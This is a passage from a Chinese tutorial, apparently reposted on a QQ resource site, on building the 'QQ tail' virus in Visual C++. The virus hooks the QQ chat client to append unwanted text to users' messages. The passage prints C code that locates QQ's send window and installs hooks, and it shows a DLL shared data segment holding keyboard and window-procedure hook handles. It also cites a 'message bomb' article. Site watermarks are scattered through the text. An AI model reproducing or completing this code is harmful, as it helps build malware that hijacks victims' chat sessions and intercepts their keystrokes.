QQ尾巴病毒的Visual C++实现探讨
DLL之中已经做好了所有重要的工作(事实上这部分工作也只能由DLL来完成,这是由Windows虚拟内存机制决定的),我们只需要在EXE之中调用导出的SetHook函数就可以了。那么,SetHook的参数如何获得呢?请看以下代码:
// 感谢好友hottey的查找代码,省去了我使用Spy++的麻烦HWND hSend;g_hQQ = NULL;SetHook(NULL);do{ g_hQQ = FindWindowEx(NULL, g_hQQ, "#32770", NULL); hSend = FindWindowEx(g_hQQ, NULL, "Button", "发送(&S)");} while(g_hQQ != NULL && hSend == NULL);if (g_hQQ != NULL)SetHook(g_hQQ); Qkoo.Cn
这段代码中的do-while循环就是用来查找“发送消息”的窗口的,QQ窗口的保密性越来越强了,窗口一层套一层,找起来十分不便,所以在此感谢好友hottey的《QQ消息炸弹随想》一文省去了我反复使用Spy++的麻烦。我所做的,只是把他文中的Delphi代码翻译成了C代码。 Wtto.Net
DLL的共享数据段 Wtto.Net
如果你对DLL不甚了解,那么在你读到我的配套源代码之后,肯定会对下面这一段代码有些疑问:
// 定义共享数据段#pragma data_seg("shared")HHOOK g_hProc = NULL; // 窗口过程钩子句柄HHOOK g_hKey = NULL; // 键盘钩子句柄HWND g_hRich = NULL; // 文本框句柄#pragma data_seg()#pragma comment(linker, "/section:shared,rws")
Wtto.Net
这定义了一段共享的数据段,是的,因为我的注释已经写得很清楚了,那么共享数据段起到了什么作用呢?在回答这个问题之前,我请你把代码中以#开头的预处理指令注释掉然后重新编译这个DLL并运行,你会发现什么?
是的,添加尾巴失败!
Tags:
内容搜索
相关文章
推荐文章



![QQ宠屋[QQ非主流资源网]](http://www.qqchw.com/templets/logo.gif)
